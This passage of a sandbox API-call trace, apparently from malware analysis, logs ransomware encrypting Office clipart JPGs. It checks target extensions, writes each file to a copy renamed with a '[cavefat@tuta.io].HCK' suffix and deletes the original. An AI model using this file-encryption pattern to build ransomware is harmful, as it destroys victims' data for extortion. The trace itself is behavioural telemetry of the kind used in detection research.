4 [0172.474] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.474] lstrlenW (lpString=".jpg") returned 4 [0172.474] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.474] lstrlenW (lpString=".doc") returned 4 [0172.474] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.474] lstrlenW (lpString=".docx") returned 5 [0172.474] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0172.474] lstrlenW (lpString=".pdf") returned 4 [0172.474] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.474] lstrlenW (lpString=".xls") returned 4 [0172.474] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.474] lstrlenW (lpString=".xlsx") returned 5 [0172.474] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0172.474] lstrlenW (lpString=".ppt") returned 4 [0172.474] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.474] lstrlenW (lpString=".zip") returned 4 [0172.474] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.475] lstrlenW (lpString=".rar") returned 4 [0172.475] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.475] lstrlenW (lpString=".bz2") returned 4 [0172.475] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.475] lstrlenW (lpString=".7z") returned 3 [0172.475] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.475] lstrlenW (lpString=".dbf") returned 4 [0172.475] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.475] lstrlenW (lpString=".1cd") returned 4 [0172.475] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0337280.JPG") returned 68 [0172.475] lstrlenW (lpString=".jpg") returned 4 [0172.475] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.475] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.475] lstrlenW (lpString="J0341447.JPG") returned 12 [0172.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0172.476] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=19160) returned 1 [0172.476] CloseHandle (hObject=0x37c) returned 1 [0172.477] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg")) returned 0x220 [0172.480] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0172.484] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.484] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.489] GetLastError () returned 0x0 [0172.489] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x4ad8, lpOverlapped=0x0) returned 1 [0172.491] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x4ae0, lpOverlapped=0x0) returned 1 [0172.492] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.492] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.492] SetEndOfFile (hFile=0x3b0) returned 1 [0172.495] CloseHandle (hObject=0x3b0) returned 1 [0172.497] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.497] SetEndOfFile (hFile=0x39c) returned 1 [0172.500] CloseHandle (hObject=0x39c) returned 1 [0172.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341447.jpg")) returned 1 [0172.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.505] lstrlenW (lpString=".doc") returned 4 [0172.505] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.505] lstrlenW (lpString=".docx") returned 5 [0172.505] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0172.505] lstrlenW (lpString=".pdf") returned 4 [0172.505] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.505] lstrlenW (lpString=".xls") returned 4 [0172.505] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.505] lstrlenW (lpString=".xlsx") returned 5 [0172.505] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0172.505] lstrlenW (lpString=".ppt") returned 4 [0172.505] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.505] lstrlenW (lpString=".zip") returned 4 [0172.505] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.505] lstrlenW (lpString=".rar") returned 4 [0172.505] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.505] lstrlenW (lpString=".bz2") returned 4 [0172.505] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.505] lstrlenW (lpString=".7z") returned 3 [0172.505] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.505] lstrlenW (lpString=".dbf") returned 4 [0172.505] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.505] lstrlenW (lpString=".1cd") returned 4 [0172.505] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.505] lstrlenW (lpString=".jpg") returned 4 [0172.505] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.506] lstrlenW (lpString=".doc") returned 4 [0172.506] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.506] lstrlenW (lpString=".docx") returned 5 [0172.506] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0172.506] lstrlenW (lpString=".pdf") returned 4 [0172.506] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.506] lstrlenW (lpString=".xls") returned 4 [0172.506] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.506] lstrlenW (lpString=".xlsx") returned 5 [0172.506] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0172.506] lstrlenW (lpString=".ppt") returned 4 [0172.506] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.506] lstrlenW (lpString=".zip") returned 4 [0172.506] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.506] lstrlenW (lpString=".rar") returned 4 [0172.506] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.506] lstrlenW (lpString=".bz2") returned 4 [0172.506] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.506] lstrlenW (lpString=".7z") returned 3 [0172.506] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.506] lstrlenW (lpString=".dbf") returned 4 [0172.506] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.506] lstrlenW (lpString=".1cd") returned 4 [0172.506] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341447.JPG") returned 68 [0172.506] lstrlenW (lpString=".jpg") returned 4 [0172.506] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.506] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.506] lstrlenW (lpString="J0341475.JPG") returned 12 [0172.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.514] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=43490) returned 1 [0172.514] CloseHandle (hObject=0x3b0) returned 1 [0172.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg")) returned 0x220 [0172.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0172.521] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.521] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.521] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.525] GetLastError () returned 0x0 [0172.525] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xa9e2, lpOverlapped=0x0) returned 1 [0172.527] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xa9f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xa9f0, lpOverlapped=0x0) returned 1 [0172.528] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.528] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.528] SetEndOfFile (hFile=0x368) returned 1 [0172.530] CloseHandle (hObject=0x368) returned 1 [0172.532] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.532] SetEndOfFile (hFile=0x2fc) returned 1 [0172.536] CloseHandle (hObject=0x2fc) returned 1 [0172.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.538] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341475.jpg")) returned 1 [0172.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.541] lstrlenW (lpString=".doc") returned 4 [0172.541] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.541] lstrlenW (lpString=".docx") returned 5 [0172.541] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.541] lstrlenW (lpString=".pdf") returned 4 [0172.541] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.541] lstrlenW (lpString=".xls") returned 4 [0172.541] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.541] lstrlenW (lpString=".xlsx") returned 5 [0172.541] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.541] lstrlenW (lpString=".ppt") returned 4 [0172.541] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.541] lstrlenW (lpString=".zip") returned 4 [0172.542] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.542] lstrlenW (lpString=".rar") returned 4 [0172.542] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.542] lstrlenW (lpString=".bz2") returned 4 [0172.542] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.542] lstrlenW (lpString=".7z") returned 3 [0172.542] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.542] lstrlenW (lpString=".dbf") returned 4 [0172.542] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.542] lstrlenW (lpString=".1cd") returned 4 [0172.542] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.542] lstrlenW (lpString=".jpg") returned 4 [0172.542] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.542] lstrlenW (lpString=".doc") returned 4 [0172.542] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.542] lstrlenW (lpString=".docx") returned 5 [0172.542] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0172.542] lstrlenW (lpString=".pdf") returned 4 [0172.542] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.542] lstrlenW (lpString=".xls") returned 4 [0172.542] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.542] lstrlenW (lpString=".xlsx") returned 5 [0172.542] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0172.542] lstrlenW (lpString=".ppt") returned 4 [0172.542] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.542] lstrlenW (lpString=".zip") returned 4 [0172.542] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.542] lstrlenW (lpString=".rar") returned 4 [0172.542] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.542] lstrlenW (lpString=".bz2") returned 4 [0172.542] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.542] lstrlenW (lpString=".7z") returned 3 [0172.542] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.542] lstrlenW (lpString=".dbf") returned 4 [0172.542] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.542] lstrlenW (lpString=".1cd") returned 4 [0172.542] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341475.JPG") returned 68 [0172.542] lstrlenW (lpString=".jpg") returned 4 [0172.542] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.542] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.543] lstrlenW (lpString="J0341554.JPG") returned 12 [0172.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.546] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=28483) returned 1 [0172.546] CloseHandle (hObject=0x384) returned 1 [0172.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg")) returned 0x220 [0172.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.558] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.558] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0172.561] GetLastError () returned 0x0 [0172.561] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x6f43, lpOverlapped=0x0) returned 1 [0172.565] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6f50, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6f50, lpOverlapped=0x0) returned 1 [0172.566] ReadFile (in: hFile=0x3b0, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.566] WriteFile (in: hFile=0x3a8, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.566] SetEndOfFile (hFile=0x3a8) returned 1 [0172.567] CloseHandle (hObject=0x3a8) returned 1 [0172.569] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.569] SetEndOfFile (hFile=0x3b0) returned 1 [0172.572] CloseHandle (hObject=0x3b0) returned 1 [0172.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0341554.jpg")) returned 1 [0172.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.578] lstrlenW (lpString=".doc") returned 4 [0172.578] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.578] lstrlenW (lpString=".docx") returned 5 [0172.578] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0172.578] lstrlenW (lpString=".pdf") returned 4 [0172.578] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.578] lstrlenW (lpString=".xls") returned 4 [0172.579] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.579] lstrlenW (lpString=".xlsx") returned 5 [0172.579] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0172.579] lstrlenW (lpString=".ppt") returned 4 [0172.579] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.579] lstrlenW (lpString=".zip") returned 4 [0172.579] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.579] lstrlenW (lpString=".rar") returned 4 [0172.579] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.579] lstrlenW (lpString=".bz2") returned 4 [0172.579] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.579] lstrlenW (lpString=".7z") returned 3 [0172.579] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.579] lstrlenW (lpString=".dbf") returned 4 [0172.579] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.579] lstrlenW (lpString=".1cd") returned 4 [0172.579] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.579] lstrlenW (lpString=".jpg") returned 4 [0172.579] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0341554.JPG") returned 68 [0172.579] lstrlenW (lpString="C:\\Program Files\\Microsoft 